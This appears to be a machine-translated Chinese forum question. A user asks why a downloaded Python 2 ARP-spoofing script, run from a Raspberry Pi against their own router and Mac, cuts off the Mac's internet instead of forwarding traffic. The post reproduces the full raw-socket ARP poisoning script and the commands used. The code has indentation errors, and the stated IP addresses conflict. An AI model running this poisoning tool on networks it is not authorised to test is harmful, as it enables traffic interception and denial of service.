Python ARP欺骗不转发数据包,只是阻止实习生

2024-09-25 00:30:27 发布

您现在位置:Python中文网/ 问答频道 /正文

我下载了一个python程序,它模拟了我的raspberry pi的arpsoof工具,这样我就可以更好地了解它的工作原理,并根据需要对其进行更改。在我说明问题之前,请看一下我网络上的设备:
路由器:
IP:192.168.7.1
MAC:14:22:db:a6:0c:ed

覆盆子派(欺骗):
IP:192.168.7.35
MAC:00:0f:60:01:c2:ca

Mac(受害者):
IP:192.168.7.35
MAC:28:cf:e9:0b:7f:45

但是,它不起作用。它只是封锁了mac的互联网。以下是我所做的:
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"(打开IP转发)
sudo python arpspoof.py -t 14:22:db:a6:0c:ed 192.168.7.22(告诉路由器树莓pi是mac)
sudo python arpspoof.py -t 28:cf:e9:0b:7f:45 192.168.7.1(告诉mac树莓pi是路由器)

同样,这一切只会切断mac电脑的互联网。我感觉到IP转发不起作用了。你们知道怎么回事吗?程序如下:

import getopt,sys,string
from socket import *
from struct import *
from time import sleep


ETHER_BROADCAST="\xff"*6
ETH_P_ETHER=0x0001
ETH_P_IP=0x0800
ETH_P_ARP=0x0806

def usage():
    print "Usage: %s [-t target] [-i interface] [-s sleep] host"
    print "\t host : host to take over"
    print "\t target : MAC address of a specific target to ARP poison"
    print "\t sleep : time to sleep (in seconds) between two packets"
    sys.exit(1)




def ether(src, dst, type):
    return dst+src+pack("!H",type)

def arp(hw, p, hwlen, plen, op, hwsrc, psrc, hwdst, pdst):
    return pack("!HHBBH", hw, p, hwlen, plen, op) + hwsrc + psrc + hwdst + pdst

def is_at(macsrc,ipsrc):
    return arp(ETH_P_ETHER, ETH_P_IP, 6, 4, 2, 
               macsrc, inet_aton(ipsrc), ETHER_BROADCAST, pack("!I",INADDR_ANY))


def mac2str(a):
    return reduce(str.__add__,map(lambda x: chr(int(x,16)), a.split(":")))

def str2mac(a):
    return "%02x:%02x:%02x:%02x:%02x:%02x" % unpack("!6B",a)

try:
    opts=getopt.getopt(sys.argv[1:], "i:t:s:h")

    target = "\xff\xff\xff\xff\xff\xff"
    dev = "wlan0"
    slptime = 2
    for opt, parm in opts[0]:
        if opt == "-h":
            usage()
        elif opt == "-t":
            target = mac2str(parm) # XXX get mac from IP
        elif opt == "-i":
            dev = parm
        elif opt == "-s":
        try:
                slptime = float(parm)
            except ValueError,msg:
                raise getopt.GetoptError("'sleep' parameter error: "+msg.__repr__(),None)

    if len(opts[1]) == 0 :
        raise getopt.GetoptError("'host' parameter missing",None)
    elif len(opts[1]) > 1 :
        raise getopt.GetoptError("Too many parameters : [%s]" % string.join(opts[1]),None)
    else:
        host = opts[1][0]

    print "dev:", dev
    print "target:", str2mac(target) 
    print "host:", host
except getopt.error, msg:
    print "ERROR:",msg
    usage()
except KeyboardInterrupt:
    print "Interrupted by user"


try:
    s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
    s.bind((dev, ETH_P_ARP))
    mymac = s.getsockname()[4] 
    pkt = ether(mymac, target, ETH_P_ARP) + is_at(mymac, host)
    disp = "%s -> %s   %s is-at %s" % (str2mac(mymac), str2mac(target), host, str2mac(mymac))
    while 1:
        s.send(pkt)
    print disp
    sleep(slptime)
except KeyboardInterrupt:
    pass

谢谢你的帮助,非常感谢。在


Tags: deviphosttargetreturnmacdefsleep